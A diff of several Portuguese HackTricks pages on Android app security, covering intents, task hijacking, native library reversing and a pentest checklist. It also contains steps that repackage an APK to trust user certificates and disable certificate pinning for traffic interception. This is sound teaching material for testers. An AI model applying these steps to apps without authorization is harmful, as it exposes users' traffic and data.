* Por exemplo, o root não poderá colocar um arquivo dentro de `/System`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -9,20 +9,12 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Modelo de Segurança Android
**Existem duas camadas:**
@ -36,10 +28,10 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
### Compartilhamento de UID
**Duas aplicações podem ser configuradas para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se uma delas for comprometida, os dados de ambas as aplicações estarão comprometidos. É por isso que esse comportamento é **desencorajado**.\
**Duas aplicações podem ser configuradas para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se uma delas for comprometida, os dados de ambas as aplicações serão comprometidos. É por isso que esse comportamento é **desencorajado**.\
**Para compartilhar o mesmo UID, as aplicações devem definir o mesmo valor `android:sharedUserId` em seus manifests.**
### Sandboxing
### Sandbox
O **Sandbox de Aplicações Android** permite executar **cada aplicação** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um app é executado em isolamento de outros apps.\
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux negou todas as interações de processos e, em seguida, criou políticas para **permitir apenas as interações esperadas entre eles**.
@ -121,13 +113,13 @@ Para engenharia reversa, **Smali** se torna crucial. É a versão legível por h
## Intents
Intents são o principal meio pelo qual os apps Android se comunicam entre seus componentes ou com outros apps. Esses objetos de mensagem também podem transportar dados entre apps ou componentes, semelhante a como as solicitações GET/POST são usadas em comunicações HTTP.
Intents são o principal meio pelo qual os apps Android se comunicam entre seus componentes ou com outros apps. Esses objetos de mensagem também podem transportar dados entre apps ou componentes, semelhante a como as requisições GET/POST são usadas em comunicações HTTP.
Assim, um Intent é basicamente uma **mensagem que é passada entre componentes**. Intents **podem ser direcionados** a componentes ou apps específicos, **ou podem ser enviados sem um destinatário específico**.\
Para ser simples, o Intent pode ser usado:
* Para iniciar uma Activity, normalmente abrindo uma interface de usuário para um app
* Como transmissões para informar o sistema e os apps sobre mudanças
* Para iniciar uma Activity, tipicamente abrindo uma interface de usuário para um app
* Como transmissões para informar o sistema e apps sobre mudanças
* Para iniciar, parar e comunicar-se com um serviço em segundo plano
* Para acessar dados via ContentProviders
* Como callbacks para lidar com eventos
@ -167,7 +159,7 @@ Esta intenção deve ser declarada dentro do manifesto como no seguinte exemplo:
```
Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem.
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Este processo considera o **atributo de prioridade**, que pode ser definido na **declaração do intent-filter**, e **o que tiver a maior prioridade será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**.
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Este processo considera o **atributo de prioridade**, que pode ser definido na **declaração do intent-filter**, e **aquele com a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se um **conflito** surgir, uma janela "chooser" aparece para que o **usuário possa decidir**.
### Intents Explícitos
@ -183,7 +175,7 @@ context.startService(intent);
```
### Pending Intents
Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Ao construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declara qual intent pode chamá-lo), um **aplicativo malicioso pode realizar a ação declarada** em nome do aplicativo vítima. Além disso, **se uma ação não for especificada**, o aplicativo malicioso poderá fazer **qualquer ação em nome da vítima**.
Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Ao construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declarar qual intent pode chamá-lo), um **aplicativo malicioso poderia realizar a ação declarada** em nome do aplicativo vítima. Além disso, **se uma ação não for especificada**, o aplicativo malicioso poderá fazer **qualquer ação em nome da vítima**.
### Broadcast Intents
@ -194,7 +186,7 @@ Alternativamente, também é possível **especificar uma permissão ao enviar o
Existem **dois tipos** de Broadcasts: **Normal** (assíncrono) e **Ordenado** (síncrono). A **ordem** é baseada na **prioridade configurada dentro do elemento receptor**. **Cada app pode processar, retransmitir ou descartar o Broadcast.**
É possível **enviar** um **broadcast** usando a função `sendBroadcast(intent, receiverPermission)` da classe `Context`.\
Você também pode usar a função **`sendBroadcast`** do **`LocalBroadCastManager`** que garante que a **mensagem nunca saia do app**. Usando isso, você nem precisará exportar um componente receptor.
Você também pode usar a função **`sendBroadcast`** do **`LocalBroadCastManager`** que garante que a **mensagem nunca saia do app**. Usando isso, você não precisará nem exportar um componente receptor.
### Sticky Broadcasts
@ -268,7 +260,7 @@ A **atividade de lançamento** é o principal portal para um aplicativo, lançad
```
Nem todos os aplicativos precisam de uma atividade de inicialização, especialmente aqueles sem uma interface de usuário, como serviços em segundo plano.
As atividades podem ser disponibilizadas para outros aplicativos ou processos marcando-as como "exportadas" no manifesto. Essa configuração permite que outros aplicativos iniciem essa atividade:
As atividades podem ser disponibilizadas para outros aplicativos ou processos marcando-as como "exported" no manifesto. Essa configuração permite que outros aplicativos iniciem essa atividade:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -300,7 +292,7 @@ super.onCreate();
Os serviços são versáteis; podem ser iniciados de várias maneiras, sendo **Intents** o método principal para lançá-los como ponto de entrada de um aplicativo. Uma vez que um serviço é iniciado usando o método `startService`, seu método `onStart` entra em ação e continua em execução até que o método `stopService` seja chamado explicitamente. Alternativamente, se o papel de um serviço depender de uma conexão de cliente ativa, o método `bindService` é usado para vincular o cliente ao serviço, ativando o método `onBind` para a passagem de dados.
Uma aplicação interessante dos serviços inclui a reprodução de música em segundo plano ou a busca de dados de rede sem prejudicar a interação do usuário com um aplicativo. Além disso, os serviços podem ser tornados acessíveis a outros processos no mesmo dispositivo através da **exportação**. Este não é o comportamento padrão e requer configuração explícita no arquivo Android Manifest:
Uma aplicação interessante de serviços inclui a reprodução de música em segundo plano ou a busca de dados de rede sem prejudicar a interação do usuário com um aplicativo. Além disso, os serviços podem ser tornados acessíveis a outros processos no mesmo dispositivo através da **exportação**. Este não é o comportamento padrão e requer configuração explícita no arquivo Android Manifest:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -344,7 +336,7 @@ Para mais informações, consulte:
## WebViews
WebViews são como **mini navegadores da web** dentro de aplicativos Android, puxando conteúdo da web ou de arquivos locais. Eles enfrentam riscos semelhantes aos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações** específicas.
WebViews são como **mini navegadores web** dentro de aplicativos Android, puxando conteúdo da web ou de arquivos locais. Eles enfrentam riscos semelhantes aos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações** específicas.
O Android oferece dois tipos principais de WebView:
@ -366,15 +358,15 @@ Para controlar o acesso a arquivos:
### **Assinatura Digital de Aplicativos**
- **A assinatura digital** é obrigatória para aplicativos Android, garantindo que sejam **autenticamente criados** antes da instalação. Esse processo utiliza um certificado para identificação do aplicativo e deve ser verificado pelo gerenciador de pacotes do dispositivo durante a instalação. Os aplicativos podem ser **autoassinados ou certificados por uma CA externa**, protegendo contra acesso não autorizado e garantindo que o aplicativo permaneça inalterado durante sua entrega ao dispositivo.
- **A assinatura digital** é obrigatória para aplicativos Android, garantindo que sejam **autenticamente criados** antes da instalação. Este processo utiliza um certificado para identificação do aplicativo e deve ser verificado pelo gerenciador de pacotes do dispositivo durante a instalação. Os aplicativos podem ser **autoassinados ou certificados por uma CA externa**, protegendo contra acesso não autorizado e garantindo que o aplicativo permaneça inalterado durante sua entrega ao dispositivo.
### **Verificação de Aplicativos para Segurança Aprimorada**
- A partir do **Android 4.2**, um recurso chamado **Verificar Aplicativos** permite que os usuários verifiquem a segurança dos aplicativos antes da instalação. Esse **processo de verificação** pode alertar os usuários sobre aplicativos potencialmente prejudiciais ou até mesmo impedir a instalação de aplicativos particularmente maliciosos, aprimorando a segurança do usuário.
- A partir do **Android 4.2**, um recurso chamado **Verificar Aplicativos** permite que os usuários verifiquem a segurança dos aplicativos antes da instalação. Este **processo de verificação** pode alertar os usuários sobre aplicativos potencialmente prejudiciais ou até mesmo impedir a instalação de aplicativos particularmente maliciosos, aprimorando a segurança do usuário.
### **Gerenciamento de Dispositivos Móveis (MDM)**
- **Soluções MDM** fornecem **supervisão e segurança** para dispositivos móveis através da **API de Administração de Dispositivos**. Elas necessitam da instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **imposição de políticas de senha**, **obrigação de criptografia de armazenamento**, e **permissão para limpeza remota de dados**, garantindo controle e segurança abrangentes sobre dispositivos móveis.
- **Soluções MDM** fornecem **supervisão e segurança** para dispositivos móveis através da **API de Administração de Dispositivos**. Elas necessitam da instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **imposição de políticas de senha**, **exigência de criptografia de armazenamento**, e **permissão para limpeza remota de dados**, garantindo controle e segurança abrangentes sobre dispositivos móveis.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -385,23 +377,17 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Supporte o HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,24 +15,16 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
## Task, Back Stack and Foreground Activities
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
No Android, uma **task** é essencialmente um conjunto de atividades com as quais os usuários interagem para completar um trabalho específico, organizadas dentro de uma **back stack**. Esta pilha ordena as atividades com base em quando foram abertas, com a atividade mais recente exibida no topo como a **foreground activity**. A qualquer momento, apenas esta atividade é visível na tela, tornando-se parte da **foreground task**.
{% embed url="https://discord.gg/tryhardsecurity" %}
Aqui está um resumo rápido das transições de atividade:
***
## Tarefa, Pilha de Atividades e Atividades em Primeiro Plano
No Android, uma **tarefa** é essencialmente um conjunto de atividades com as quais os usuários interagem para completar um trabalho específico, organizadas dentro de uma **pilha de atividades**. Esta pilha ordena as atividades com base em quando foram abertas, com a atividade mais recente exibida no topo como a **atividade em primeiro plano**. A qualquer momento, apenas esta atividade é visível na tela, tornando-se parte da **tarefa em primeiro plano**.
Aqui está um resumo rápido das transições de atividades:
* **Atividade 1** começa como a única atividade em primeiro plano.
* Lançar **Atividade 2** empurra **Atividade 1** para a pilha de atividades, trazendo **Atividade 2** para o primeiro plano.
* Iniciar **Atividade 3** move **Atividade 1** e **Atividade 2** mais para trás na pilha, com **Atividade 3** agora à frente.
* Fechar **Atividade 3** traz **Atividade 2** de volta ao primeiro plano, mostrando o mecanismo de navegação de tarefas simplificado do Android.
* **Activity 1** começa como a única atividade em primeiro plano.
* Lançar **Activity 2** empurra **Activity 1** para a back stack, trazendo **Activity 2** para o primeiro plano.
* Iniciar **Activity 3** move **Activity 1** e **Activity 2** mais para trás na pilha, com **Activity 3** agora à frente.
* Fechar **Activity 3** traz **Activity 2** de volta ao primeiro plano, mostrando o mecanismo de navegação de tarefas simplificado do Android.
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
@ -40,7 +32,7 @@ Aqui está um resumo rápido das transições de atividades:
### Visão Geral da Afinidade de Tarefa e Modos de Lançamento
Em aplicativos Android, a **afinidade de tarefa** especifica a tarefa preferida de uma atividade, geralmente alinhando-se com o nome do pacote do aplicativo. Esta configuração é instrumental na criação de um aplicativo de prova de conceito (PoC) para demonstrar o ataque.
Em aplicativos Android, a **task affinity** especifica a tarefa preferida de uma atividade, alinhando-se tipicamente com o nome do pacote do aplicativo. Esta configuração é instrumental na criação de um aplicativo de prova de conceito (PoC) para demonstrar o ataque.
### Modos de Lançamento
@ -65,11 +57,6 @@ Para prevenir tais ataques, os desenvolvedores podem definir `taskAffinity` como
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,31 +1,23 @@
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Algumas aplicações não gostam de certificados baixados pelo usuário, então, para inspecionar o tráfego da web de alguns aplicativos, na verdade, precisamos descompilar a aplicação, adicionar algumas coisas e recompilá-la.
Alguns aplicativos não aceitam certificados baixados pelo usuário, então, para inspecionar o tráfego da web de alguns aplicativos, precisamos realmente descompilar o aplicativo, adicionar algumas coisas e recompilá-lo.
# Automático
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automaticamente** fará as alterações necessárias na aplicação para começar a capturar as requisições e também desativará o pinning de certificado (se houver).
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automaticamente** fará as alterações necessárias no aplicativo para começar a capturar as requisições e também desativará o pinning de certificado (se houver).
# Manual
@ -33,7 +25,7 @@ Primeiro, descompilamos o aplicativo: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png)
Em seguida, vamos para o arquivo **Manifest.xml** e rolamos até a tag `<\application android>` e vamos adicionar a seguinte linha, se ainda não estiver lá:
Em seguida, vamos ao arquivo **Manifest.xml** e rolamos até a tag `<\application android>` e vamos adicionar a seguinte linha, se ainda não estiver lá:
`android:networkSecurityConfig="@xml/network_security_config`
@ -45,7 +37,7 @@ Depois de adicionar:
![](../../.gitbook/assets/img11.png)
Agora, vá para a pasta **res/xml** e crie/modifique um arquivo chamado network\_security\_config.xml com o seguinte conteúdo:
Agora vá para a pasta **res/xml** e crie/modifique um arquivo chamado network\_security\_config.xml com o seguinte conteúdo:
```markup
<network-security-config>
<base-config>
@ -65,16 +57,16 @@ Então salve o arquivo e saia de todos os diretórios e reconstrua o apk com o s
Finalmente, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompiling/\[Modifying\]/Compiling para aprender como assiná-la](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,19 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
**Para mais informações, confira:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
@ -60,7 +47,7 @@ Aplicativos Android podem usar bibliotecas nativas, tipicamente escritas em C ou
* **Aprendendo Assembly ARM:**
* Sugerido para uma compreensão mais profunda da arquitetura subjacente.
* [Fundamentos de Assembly ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) da Azeria Labs é recomendado.
* [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) da Azeria Labs é recomendado.
* **Documentação JNI & NDK:**
* [Especificação JNI da Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
* [Dicas JNI do Android](https://developer.android.com/training/articles/perf-jni)
@ -68,17 +55,6 @@ Aplicativos Android podem usar bibliotecas nativas, tipicamente escritas em C ou
* **Depurando Bibliotecas Nativas:**
* [Depurando Bibliotecas Nativas do Android Usando JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -10,19 +10,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [Aprenda os fundamentos do Android](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Noções básicas](android-app-pentesting/#fundamentals-review)
@ -44,19 +36,19 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* [ ] Verifique o uso de [ofuscação](android-checklist.md#some-obfuscation-deobfuscation-information), verifique se o celular foi rootado, se um emulador está sendo usado e verificações de anti-tampering. [Leia isso para mais informações](android-app-pentesting/#other-checks).
* [ ] Aplicações sensíveis (como aplicativos bancários) devem verificar se o celular está rootado e devem agir em consequência.
* [ ] Procure por [strings interessantes](android-app-pentesting/#looking-for-interesting-info) (senhas, URLs, API, criptografia, backdoors, tokens, uuids do Bluetooth...).
* [ ] Atenção especial às [APIs do firebase](android-app-pentesting/#firebase).
* [ ] Atenção especial para as [APIs do firebase](android-app-pentesting/#firebase).
* [ ] [Leia o manifesto:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Verifique se a aplicação está em modo de depuração e tente "explorá-la"
* [ ] Verifique se o APK permite backups
* [ ] Atividades Exportadas
* [ ] Provedores de Conteúdo
* [ ] Serviços expostos
* [ ] Receivers de Broadcast
* [ ] Esquemas de URL
* [ ] Verifique se a aplicação está em modo de depuração e tente "explorá-la".
* [ ] Verifique se o APK permite backups.
* [ ] Atividades Exportadas.
* [ ] Provedores de Conteúdo.
* [ ] Serviços expostos.
* [ ] Receivers de Broadcast.
* [ ] Esquemas de URL.
* [ ] A aplicação está [salvando dados de forma insegura internamente ou externamente](android-app-pentesting/#insecure-data-storage)?
* [ ] Existe alguma [senha hardcoded ou salva no disco](android-app-pentesting/#poorkeymanagementprocesses)? O aplicativo [está usando algoritmos de criptografia inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Existe alguma [senha hard coded ou salva no disco](android-app-pentesting/#poorkeymanagementprocesses)? O aplicativo [está usando algoritmos de criptografia inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Todas as bibliotecas compiladas usando a flag PIE?
* [ ] Não se esqueça que há uma série de [Analisadores Estáticos de Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito nesta fase.
* [ ] Não se esqueça que há um monte de [Analisadores Estáticos de Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito durante esta fase.
### [Análise Dinâmica](android-app-pentesting/#dynamic-analysis)
@ -70,20 +62,13 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
